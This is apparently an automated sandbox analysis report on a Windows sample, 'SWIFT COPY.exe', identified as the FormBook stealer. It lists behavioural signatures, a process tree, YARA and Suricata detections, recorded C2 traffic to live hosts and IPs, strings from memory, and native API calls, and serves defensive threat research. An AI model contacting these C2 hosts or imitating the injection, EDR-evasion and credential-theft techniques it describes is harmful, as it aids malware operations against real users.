Edit tour

Windows Analysis Report
SWIFT COPY.exe

Overview

General Information

Sample name:	SWIFT COPY.exe
Analysis ID:	1578068
MD5:	180a3e0827818592194c3a46dd8e9dd7
SHA1:	fa90e6b8c4a962d3cb324cf23afe68845d6e5013
SHA256:	b46e3f5fe8669966df0df40ef2ff40a1de2f8141da974f8058eb03c2897feacf
Tags:	exeuser-abuse_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected FormBook

.NET source code contains potential unpacker

AI detected suspicious sample

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SWIFT COPY.exe (PID: 7404 cmdline: "C:\Users\user\Desktop\SWIFT COPY.exe" MD5: 180A3E0827818592194C3A46DD8E9DD7)

SWIFT COPY.exe (PID: 7764 cmdline: "C:\Users\user\Desktop\SWIFT COPY.exe" MD5: 180A3E0827818592194C3A46DD8E9DD7)

XwGiOcrCkQ.exe (PID: 4092 cmdline: "C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

finger.exe (PID: 8008 cmdline: "C:\Windows\SysWOW64\finger.exe" MD5: C586D06BF5D5B3E6E9E3289F6AA8225E)

XwGiOcrCkQ.exe (PID: 6016 cmdline: "C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 8168 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.3579225872.0000000002C10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.3579265567.0000000002C60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2224196116.0000000000E10000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.3579400562.0000000002390000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2227839219.0000000001800000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: SWIFT COPY.exe PID: 7404	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.SWIFT COPY.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
3.2.SWIFT COPY.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Suricata Signatures

ET MALWARE FormBook CnC Checkin (GET) M5

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:39:48.421435+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	49884	134.122.191.187	80	TCP
2024-12-19T08:40:53.098661+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	49763	104.21.86.111	80	TCP
2024-12-19T08:41:26.835082+0100	2050745	1	Malware Command and Control Activity Detected	192.168.2.4	49845	194.58.112.174	80	TCP

ETPRO MALWARE FormBook CnC Checkin (GET) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:39:48.421435+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49884	134.122.191.187	80	TCP
2024-12-19T08:40:53.098661+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49763	104.21.86.111	80	TCP
2024-12-19T08:41:26.835082+0100	2855465	1	A Network Trojan was detected	192.168.2.4	49845	194.58.112.174	80	TCP

ETPRO MALWARE FormBook CnC Checkin (POST) M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:41:18.792202+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49825	194.58.112.174	80	TCP
2024-12-19T08:41:21.459881+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49831	194.58.112.174	80	TCP
2024-12-19T08:41:24.187165+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49836	194.58.112.174	80	TCP
2024-12-19T08:41:34.452861+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49863	134.122.191.187	80	TCP
2024-12-19T08:41:37.124839+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49869	134.122.191.187	80	TCP
2024-12-19T08:41:39.796635+0100	2855464	1	A Network Trojan was detected	192.168.2.4	49875	134.122.191.187	80	TCP

HTTP traffic detected: POST /1ne4/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USAccept-Encoding: gzip, deflate, brHost: www.elinor.clubOrigin: http://www.elinor.clubContent-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 199Cache-Control: no-cacheReferer: http://www.elinor.club/1ne4/User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36Data Raw: 49 72 3d 61 6b 33 62 41 61 73 75 7a 51 54 78 45 6c 6f 4e 72 75 42 61 4e 34 45 4c 5a 66 67 7a 54 37 64 35 67 46 39 47 31 79 49 51 38 65 5a 49 43 4b 58 41 76 68 61 4e 31 44 4d 56 4c 65 35 57 4b 56 51 56 49 49 6f 63 5a 53 4e 57 30 56 41 76 72 32 2b 6e 35 6a 6c 70 78 42 5a 72 6e 71 2b 77 2b 54 4c 6c 31 45 43 79 4a 4b 57 5a 2b 35 30 49 47 43 61 72 58 45 39 44 37 36 37 45 4d 55 37 47 52 58 32 74 42 33 48 6b 4b 51 55 50 65 48 45 64 49 38 43 57 6b 56 4e 63 37 4d 4e 77 70 73 5a 49 45 45 49 58 4f 4e 47 4b 57 68 6b 75 62 4e 53 69 52 47 78 58 57 2f 35 4a 73 55 6e 6f 47 62 77 54 2b 4a 64 4b 42 77 3d 3d Data Ascii: Ir=ak3bAasuzQTxEloNruBaN4ELZfgzT7d5gF9G1yIQ8eZICKXAvhaN1DMVLe5WKVQVIIocZSNW0VAvr2+n5jlpxBZrnq+w+TLl1ECyJKWZ+50IGCarXE9D767EMU7GRX2tB3HkKQUPeHEdI8CWkVNc7MNwpsZIEEIXONGKWhkubNSiRGxXW/5JsUnoGbwT+JdKBw==

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 07:40:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lPshYalhrtD9Y10kN9TS1MuLLXFbXNssi%2Bzcc2WGAEMAB8aplepjKd7Y%2BPmmZzy3ufoTrcjYhx1n0tEx9%2FLH3kLBFMi9CrejcvL4S8uOaj65j6HuXRYsd%2F5rzb%2BRU5L7"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f45bf3ba8c8ef9d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1793&rtt_var=896&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=539&delivery_rate=0&cwnd=119&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 32 38 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e Data Ascii: 228<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome frien

Source: finger.exe, 00000007.00000002.3579976646.0000000003D98000.00000004.10000000.00040000.00000000.sdmp, XwGiOcrCkQ.exe, 00000008.00000002.3579571028.00000000039A8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://elinor.club/1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: SWIFT COPY.exe, 00000000.00000002.1891587045.0000000008060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.html
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: XwGiOcrCkQ.exe, 00000008.00000002.3579246443.0000000002E00000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.smalleyes.icu
Source: XwGiOcrCkQ.exe, 00000008.00000002.3579246443.0000000002E00000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.smalleyes.icu/s6zh/
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: SWIFT COPY.exe, 00000000.00000002.1891816034.00000000091F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SWIFT COPY.exe	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: SWIFT COPY.exe	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: SWIFT COPY.exe	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: SWIFT COPY.exe	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: SWIFT COPY.exe, 00000000.00000002.1886186642.0000000002B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: SWIFT COPY.exe	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: finger.exe, 00000007.00000002.3578499987.0000000002A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: finger.exe, 00000007.00000002.3578499987.0000000002A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: finger.exe, 00000007.00000002.3578499987.0000000002A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: finger.exe, 00000007.00000002.3578499987.0000000002A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: finger.exe, 00000007.00000002.3578499987.0000000002A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: finger.exe, 00000007.00000002.3578499987.0000000002A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: finger.exe, 00000007.00000003.2405443560.00000000079C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: SWIFT COPY.exe	String found in binary or memory: https://sci.libertyreserve.com/
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: finger.exe, 00000007.00000003.2415607709.00000000079E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 3.2.SWIFT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.SWIFT COPY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3579225872.0000000002C10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3579265567.0000000002C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2224196116.0000000000E10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3579400562.0000000002390000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2227839219.0000000001800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_0042C743 NtClose,	3_2_0042C743
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372B60 NtClose,LdrInitializeThunk,	3_2_01372B60
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_01372DF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_01372C70
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013735C0 NtCreateMutant,LdrInitializeThunk,	3_2_013735C0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01374340 NtSetContextThread,	3_2_01374340
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01374650 NtSuspendThread,	3_2_01374650
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372BA0 NtEnumerateValueKey,	3_2_01372BA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372B80 NtQueryInformationFile,	3_2_01372B80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372BF0 NtAllocateVirtualMemory,	3_2_01372BF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372BE0 NtQueryValueKey,	3_2_01372BE0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372AB0 NtWaitForSingleObject,	3_2_01372AB0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372AF0 NtWriteFile,	3_2_01372AF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372AD0 NtReadFile,	3_2_01372AD0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372D30 NtUnmapViewOfSection,	3_2_01372D30
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372D10 NtMapViewOfSection,	3_2_01372D10
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372D00 NtSetInformationFile,	3_2_01372D00
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372DB0 NtEnumerateKey,	3_2_01372DB0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372DD0 NtDelayExecution,	3_2_01372DD0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372C00 NtQueryInformationProcess,	3_2_01372C00
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372C60 NtCreateKey,	3_2_01372C60
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372CA0 NtQueryInformationToken,	3_2_01372CA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372CF0 NtOpenProcess,	3_2_01372CF0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372CC0 NtQueryVirtualMemory,	3_2_01372CC0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372F30 NtCreateSection,	3_2_01372F30
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372F60 NtCreateProcessEx,	3_2_01372F60
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372FB0 NtResumeThread,	3_2_01372FB0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372FA0 NtQuerySection,	3_2_01372FA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372F90 NtProtectVirtualMemory,	3_2_01372F90
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372FE0 NtCreateFile,	3_2_01372FE0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372E30 NtWriteVirtualMemory,	3_2_01372E30
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372EA0 NtAdjustPrivilegesToken,	3_2_01372EA0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372E80 NtReadVirtualMemory,	3_2_01372E80
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01372EE0 NtQueueApcThread,	3_2_01372EE0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01373010 NtOpenDirectoryObject,	3_2_01373010
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01373090 NtSetValueKey,	3_2_01373090
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_013739B0 NtGetContextThread,	3_2_013739B0
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01373D10 NtOpenProcessToken,	3_2_01373D10
Source: C:\Users\user\Desktop\SWIFT COPY.exe	Code function: 3_2_01373D70 NtOpenThread,	3_2_01373D70
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03094340 NtSetContextThread,LdrInitializeThunk,	7_2_03094340
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03094650 NtSuspendThread,LdrInitializeThunk,	7_2_03094650
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092B60 NtClose,LdrInitializeThunk,	7_2_03092B60
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092BA0 NtEnumerateValueKey,LdrInitializeThunk,	7_2_03092BA0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092BE0 NtQueryValueKey,LdrInitializeThunk,	7_2_03092BE0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_03092BF0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092AD0 NtReadFile,LdrInitializeThunk,	7_2_03092AD0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092AF0 NtWriteFile,LdrInitializeThunk,	7_2_03092AF0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092F30 NtCreateSection,LdrInitializeThunk,	7_2_03092F30
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092FB0 NtResumeThread,LdrInitializeThunk,	7_2_03092FB0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092FE0 NtCreateFile,LdrInitializeThunk,	7_2_03092FE0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092E80 NtReadVirtualMemory,LdrInitializeThunk,	7_2_03092E80
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092EE0 NtQueueApcThread,LdrInitializeThunk,	7_2_03092EE0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092D10 NtMapViewOfSection,LdrInitializeThunk,	7_2_03092D10
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092D30 NtUnmapViewOfSection,LdrInitializeThunk,	7_2_03092D30
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092DD0 NtDelayExecution,LdrInitializeThunk,	7_2_03092DD0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_03092DF0
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092C60 NtCreateKey,LdrInitializeThunk,	7_2_03092C60
Source: C:\Windows\SysWOW64\finger.exe	Code function: 7_2_03092C70 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_03092C70
